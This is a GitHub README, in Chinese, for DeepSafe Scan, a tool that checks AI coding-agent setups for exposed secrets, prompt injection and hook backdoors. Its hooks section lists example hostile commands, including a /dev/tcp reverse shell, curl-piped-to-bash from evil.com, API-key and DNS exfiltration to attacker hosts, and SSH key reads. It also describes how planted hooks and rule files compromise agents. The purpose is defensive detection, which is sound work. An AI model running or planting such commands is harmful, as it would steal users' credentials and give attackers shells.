Skip to content

XiaoYiWeio/deepsafe-scan

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

28 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

DeepSafe Scan

DeepSafe Scan

AI Agent 环境通用安全预检扫描器

Python 零依赖 ClawHub GitHub Pages

📖 完整文档与演示 → xiaoyiweio.github.io/deepsafe-scan

运行前先扫描。一条命令,保护你的 AI Agent 环境免受密钥泄露、提示词注入、Hooks 后门攻击。

想了解这些攻击是怎么运作的?→ AI Agent Attack Techniques


⚡ 攻击者只需 3 秒,就能从你的 AI Agent 环境中窃走 SSH Key、API Key 和全部敏感凭证。
↓ 真实攻击演示(3 倍加速) · 观看完整原速视频 →

3秒窃取你的全部凭证 - DeepSafe Scan 攻击演示

你 clone 的下一个仓库,可能已经在等你打开它了。


支持平台:    OpenClaw OpenClaw      Claude Code Claude Code      Cursor Cursor      Codex Codex


它能做什么

DeepSafe Scan 在你执行 AI 生成代码或安装新 Skills 前,对 5 个维度进行安全预检

模块 检测内容 需要 API?
posture openclaw.json / .env — 不安全的网关配置、暴露的密钥
skill 已安装的 Skills 和 MCP 服务器 — 15+ 静态分析器(密钥、危险调用、eval、数据外传) 否(LLM 可选)
memory 会话与记忆文件 — 27 种密钥模式、9 种 PII 类型、提示词注入
hooks .claude/settings.json.cursorrules.windsurfrules.vscode/tasks.jsonCLAUDE.mdAGENTS.md — 12 种注入模式
model 4 项行为安全探测:操纵诱导、能力隐藏、欺骗性回答、幻觉生成

4 个静态模块无需任何 API Key即可运行。LLM 功能自动检测已有凭证,无需手动配置。


⚠️ 为什么你需要这个

AI 编程 Agent(Claude Code、Cursor、Windsurf、Codex)的配置文件支持自动执行命令。攻击者可以在开源仓库中植入恶意配置:

攻击向量 触发时机 需要用户确认?
.claude/settings.local.json SessionStart hooks Claude Code 启动 否,自动执行
.vscode/tasks.json runOn: folderOpen Cursor/VSCode 打开目录 否,自动执行
.cursorrules / .windsurfrules / CLAUDE.md / AGENTS.md Agent 读取并可能执行指令 部分情况下自动

快速开始

一行安装,一句话使用,从此 clone 不再裸奔。

方式一:作为 AI Agent Skill 安装(推荐)

clawhub install deepsafe-scan

安装后,直接用自然语言告诉你的 AI Agent:

"帮我用 deepsafe scan 扫一下这个项目"

Agent 自动扫描并返回报告,无需记任何命令

Claude Code 用户 — 把 CLAUDE.md 复制到项目根目录即可集成:

cp ~/deepsafe-scan/CLAUDE.md /your/project/

方式二:作为独立命令行工具

git clone https://github.com/XiaoYiWeio/deepsafe-scan ~/deepsafe-scan

python3 ~/deepsafe-scan/scripts/scan.py \
  --modules hooks \
  --scan-dir /path/to/repo \
  --no-llm \
  --format markdown

零依赖

Python 核心仅使用标准库:urllibjsonrehashlibsubprocessconcurrent.futuresargparsedataclasses

无需 pip install


平台支持

平台 API 自动检测 Hooks 扫描 Skills 扫描 说明
OpenClaw ✅ 读取 ~/.openclaw/openclaw.json 完整原生支持
Claude Code ANTHROPIC_API_KEY .claude/settings.json ✅ 任意目录 检查 Claude Hooks 文件
Cursor OPENAI_API_KEY(如已配置) .cursorrules ✅ 任意目录 Model 探测需用户提供 Key
Codex OPENAI_API_KEY AGENTS.md ✅ 任意目录 无 Key 可完整静态扫描
Windsurf OPENAI_API_KEY(如已配置) .windsurfrules ✅ 任意目录 检查 Windsurf 配置文件
其他 --api-base / --api-key 兼容任何 OpenAI 格式 API

项目结构

deepsafe-scan/
├── scripts/
│   ├── scan.py              # 主入口(5 模块,HTML/markdown/JSON 输出)
│   ├── llm_client.py        # 多平台 LLM 客户端(零依赖,自动检测)
│   └── probes/
│       ├── persuasion_probe.py    # 操纵诱导评估
│       ├── sandbagging_probe.py   # 能力隐藏评估
│       ├── deception_probe.py     # 欺骗性回答基准
│       └── halueval_probe.py      # HaluEval 幻觉评估
├── data/
│   ├── prompts.json          # 探测提示词模板(外部化)
│   └── datasets/             # 探测评估数据集
├── SKILL.md                  # OpenClaw Skill 元数据
├── CLAUDE.md                 # Claude Code 集成说明
├── AGENTS.md                 # 通用 Agent 集成说明
└── .cursorrules              # Cursor IDE 集成

各模块详解

Posture 扫描

检查你的 AI Agent 部署配置:

  • 不安全的网关认证(明文 HTTP、无鉴权、默认密码)
  • 配置文件中暴露的 API Keys
  • 权限过宽的安全设置
  • 生产环境开启了调试模式

OpenClaw 用户读取 openclaw.json,其他平台检查 .envconfig.json 等。

Skill / MCP 扫描

扫描所有已安装的 Skills 和 MCP 服务器目录,检测:

  • 硬编码密钥(27 种模式 — API Keys、Token、密码)
  • 远程代码执行模式(evalexec、带用户输入的 subprocess
  • 数据外传(curl/wget/requests 发送到外部主机)
  • 系统提示词中的提示词注入尝试
  • 危险文件操作、Shell 注入、路径穿越

可选:LLM 语义分析可发现复杂的混淆模式。

Memory 扫描

扫描会话日志和 Agent 记忆文件:

  • 27 种密钥模式:OpenAI Key、Anthropic Key、GitHub Token、AWS 凭证、Slack、Stripe、数据库 URL、SSH Key、JWT Secret
  • 9 种 PII 类型:邮箱、电话(国际格式)、SSN、护照、信用卡(Luhn 校验)、医疗编码、驾照、银行账户、身份证
  • 提示词注入:越狱片段、角色覆盖尝试、指令覆盖

Hooks 扫描

扫描 AI 编程助手配置文件中的命令注入后门:

模式 严重级别 示例
反弹 Shell CRITICAL bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
curl|sh RCE CRITICAL curl https://evil.com/x.sh | bash
凭证外传 CRITICAL curl $ANTHROPIC_API_KEY@evil.com
SSH Key 读取 CRITICAL cat ~/.ssh/id_rsa
Base64 执行 HIGH echo <b64> | base64 -d | bash
持久化 HIGH crontab -elaunchctl load
rm -rf HIGH rm -rf /tmp/*
进程注入 CRITICAL LD_PRELOAD=evil.so
DNS 外传 HIGH dig $SECRET.attacker.com
环境变量 Dump HIGH printenv > /tmp/env.txt
/tmp chmod +x HIGH chmod +x /tmp/backdoor
预授权执行 MEDIUM preSessionCommand: ...

检查文件:.claude/settings.json.claude/settings.local.json.cursorrules.cursor/rules.md.windsurfrules.windsurf/rules.md.vscode/tasks.json.vscode/settings.json.github/copilot-instructions.mdCLAUDE.mdAGENTS.md

Model 探测

4 项行为安全评估(调用 LLM API):

探测项 测试内容
操纵诱导 模型是否能被操纵改变用户观点
能力隐藏 模型是否故意表现不佳以隐藏真实能力
欺骗性回答 被直接询问时模型是否给出虚假信息
幻觉生成 模型是否捏造无法验证的事实

每项探测运行一套小型评估,返回 0–100 安全评分。


完整 CLI 选项

python3 scripts/scan.py [选项]

核心选项:
  --modules           逗号分隔:posture,skill,memory,hooks,model
                      (默认:posture,skill,memory,model)
  --scan-dir PATH     额外扫描目录(默认:自动检测)
  --openclaw-root     OpenClaw 根目录(默认:~/.openclaw)

LLM 选项:
  --api-base URL      兼容 OpenAI 格式的 API 地址
  --api-key KEY       API Key(也读取 ANTHROPIC_API_KEY / OPENAI_API_KEY)
  --provider          auto | openai | anthropic(默认:auto)
  --model             模型名称覆盖
  --no-llm            禁用所有 LLM 功能(仅静态分析)

输出选项:
  --format            json | markdown | html(默认:json)
  --output FILE       将报告写入文件而非标准输出
  --profile           quick | standard | full(默认:quick)

缓存选项:
  --ttl-days N        缓存有效期(天,默认:7,0 = 不缓存)
  --no-cache          跳过缓存

调试:
  --debug             输出详细日志到 stderr

评分标准

总分 风险等级 建议操作
85–100 🟢 低风险 可以使用
65–84 🟡 中风险 检查标记项
40–64 🟠 高风险 修复后再用
1–39 🔴 严重风险 立即停止 — 存在严重安全问题

LLM 自动检测

凭证按以下优先级自动解析:

--api-base / --api-key 参数
  ↓(未设置)
OpenClaw 网关(~/.openclaw/openclaw.json)
  ↓(未找到)
ANTHROPIC_API_KEY 环境变量
  ↓(未设置)
OPENAI_API_KEY 环境变量
  ↓(未设置)
仅静态分析(Model 探测跳过并给出明确提示)

Cursor 用户:Cursor 通过订阅内部管理 LLM 鉴权,API Key 不暴露给子进程。如需启用 Model 探测,请在 Shell 中设置 OPENAI_API_KEY 或传入 --api-key。所有静态模块无需任何 Key。


相关项目

项目 定位
ai-agent-attack-techniques 攻击技术参考手册 — 记录 deepsafe-scan 所检测的攻击的具体原理和 PoC

参与贡献

欢迎提交 Issue 和 PR:github.com/XiaoYiWeio/deepsafe-scan


📖 在线文档 · 反馈问题 · OpenClaw 生态

DeepSafe Scan 是 OpenClaw 生态的一部分,同时也是可独立使用的安全工具,支持所有主流 AI 编程 Agent。

About

Universal preflight security scanner for AI coding agents — Detects hooks injection, credential exfiltration & backdoors in .cursorrules, CLAUDE.md, AGENTS.md and more.

Topics

Resources

Stars

Watchers

Forks

Packages

 
 
 

Contributors

Languages